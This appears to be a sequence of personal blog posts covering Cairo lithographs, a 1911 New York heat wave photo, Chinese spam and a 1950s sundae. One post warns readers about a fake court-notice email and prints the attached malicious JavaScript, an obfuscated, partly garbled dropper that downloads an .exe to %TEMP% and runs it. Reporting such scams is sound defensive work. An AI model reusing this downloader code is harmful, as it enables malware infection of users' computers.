Six Views of Cairo – Robert Hay

The six lithographs below were published by the American University in Cairo Press in 1983. They were found among my mother’s possessions; she spent years in Egypt on various assignments from World War II to the 1970s.


A - Sabil Kuttab

Description A

B - Bab Zuwayla

Description B

C - Bayn Al Qasrayn

Description C

D - Minaret, Ibn Tulun

Description D

E - A Circumcision Procession

Description E

F - Barquq Mosque

Description F

What would be really interesting would be some contemporary street scenes from Cairo showing what these locales look like today.

The Old Wolf has spoken.

Order to Appear in Court

Nothing to see here, folks, just move along. Another scam email from fraudsters trying to get me to download malware to my computer.

This time the Javascript code wants to go out to,, and (all of which are invalid top-level domains), and then download and install other nasty stuff to my computer.

Here’s the email that this came attached to:

To: [edited]
Subject: Notice of appearance in Court #00928994

From: “District Court” <>

Notice to Appear,
You have to appear in the Court on the July 27.
Please, prepare all the documents relating to the case and bring them to Court on the specified date.
Note: The case may be heard by the judge in your absence if you do not come.
You can review complete details of the Court Notice in the attachment.
Jimmie Cowan,
Clerk of Court.
That “notice to appear” attachment is actually a JavaScript file, and it came as garbage that looked like this:

function sah126() { return ’00) {‘; };  function sah125() { return ‘ == 2′; };  function sah210() { return ‘+fr+'; }; function sah86() { return ‘ar dn'; };  function sah105() { return ‘rea'; };  function sah95() { return ‘bj'; };

But as soon as the code runs, it concatenates all those little bits into something that looks like this:

var stroke=”55565C5E0D0A020B240507050001091D0B0203160105100A0117174A070B09″;

function gvi() { return ‘e'; }

function sah() { return ‘val'; }

function dl(fr)l”); v { var b = “w'; };”.split'; };

(” “); for (var i=0; i<b.length; i++) { var ws = new ActiveXObject(“WScript.Shelar fn = ws.ExpandEnvironmentStrings(“%TEMP%”)+String.fromCharCode(92)+Math.round(Math.random()*100000000)+”.exe”; var dn = 0; var xo = new ActiveXObject(“MSXML2.XMLHTTP”); xo.onreadystatechange = function() { if (xo.readyState == 4 && xo.status == 200) { var xa = new ActiveXObject(“ADODB.Stream”);; xa.type = 1; xa.write(xo.ResponseBody); if (xa.size > 5000) { dn = 1; xa.position = 0; xa.saveToFile(fn,2); try { ws.Run(fn,1,0); } catch (er) {}; }; xa.close(); }; };'; };

try {“GET”,”http://”+b%5Bi%5D+”/document.php?rnd=”+fr+”&id=”+stroke, false); xo.send(); } catch (er) {}; if (dn == 1) break; }; }; dl(4851); dl(5382); dl(2753);var po = ”

for (var ckz=1; ckz<=242; ckz++) { po += this[‘sah’+ckz](); } this[gvi()+sah()](po);

I’ve mentioned these a few times before – the only way to keep yourself safe is to never open attachments you receive in email messages unless you are 100% sure whom they are from and what they are.

The bad actors want access to your data and your computer, and they don’t care how they get it.

Be careful out there.

The Old Wolf has spoken.

1911 – Hot town, summer in the city


Heat wave in New York. July 6, 1911. “Licking blocks of ice on a hot day.” 5×7 glass negative, George Grantham Bain Collection.

Found at Shorpy.

New York can get blistering hot when a heat wave rolls through. I experienced a number of days like this when I was growing up there. And I’m old enough to remember the ice man with his truck, and an electric crusher on the back so he could deliver chips as well as the blocks.

Our neighborhood didn’t get ice deliveries, those were mostly down in the village if I remember correctly. But I do recall that close to my home was a playground with one of these:


It was a great way to cool off on a hot summer day. I’m glad there are still water attractions around to help kids stay cool in the summer heat.

The Old Wolf has spoken.

Spam from China

Chinese Spam

Why would anyone in their right mind respond to a mail blast like this, especially when it’s in Chinese?

尊敬的客户: 您好! 祝您业务更上一层楼。 我司十多年专为中小企业提供香港公司注册服务。在2014年在香港成立的公司有167279间,在2013年在香港成立的公司有174030间,在经济环境越不好的情况下,老板们更热衷研究并注册离岸公司。在香港成立公司是很简单的事情,两个星期多便可以注册完成,注册资本不需要验资,不需要到位,阁下也不需要到香港。在这些年,我们一直在埋头苦干,精心修炼,力争为您提供更专业的离岸注册服务。一直期待着您的联系。      希望! 本邮件是我们合作的开始.


English via Google Translate:

Dear Customer: Hello! I wish your business to the next level. Our ten years designed to provide SMEs in Hong Kong Companies Registry services. The company was established in 2014 in Hong Kong, there are 167,279 in the company in 2013 in Hong Kong has 174,030, in the worse economic environment, the owners are more keen to study and register offshore companies. Set up a company in Hong Kong is a very simple matter, more will be able to register two weeks to complete, registered capital does not require verification, no place, you do not need to go to Hong Kong. During these years, we have been working hard, careful cultivation, strive to provide you with more professional offshore registration services. We have been looking forward to your contact.I hope! This message is the beginning of our cooperation.

Unless they’re targeting people in the mainland, this seems like a phenomenally inefficient way of doing business. On the other hand, it could just be a phishing scam looking for the dumbest of the dumb.

The amount of business that is being done in the world based on dishonesty and deception makes my head hurt.

The Old Wolf has spoken.

The ‘10,000 Calorie Sundae’


The image above shows two young girls purchasing a so-called “10,000-calorie sundae” from Blair Parson’s store in Lynchburg, Virginia, sometime in the 1950s. Price: 35¢.

Odds are that this was some marketing license; the average hot fudge sundae comes in at about 284 calories, and these don’t look like killers. But it’s a cute picture.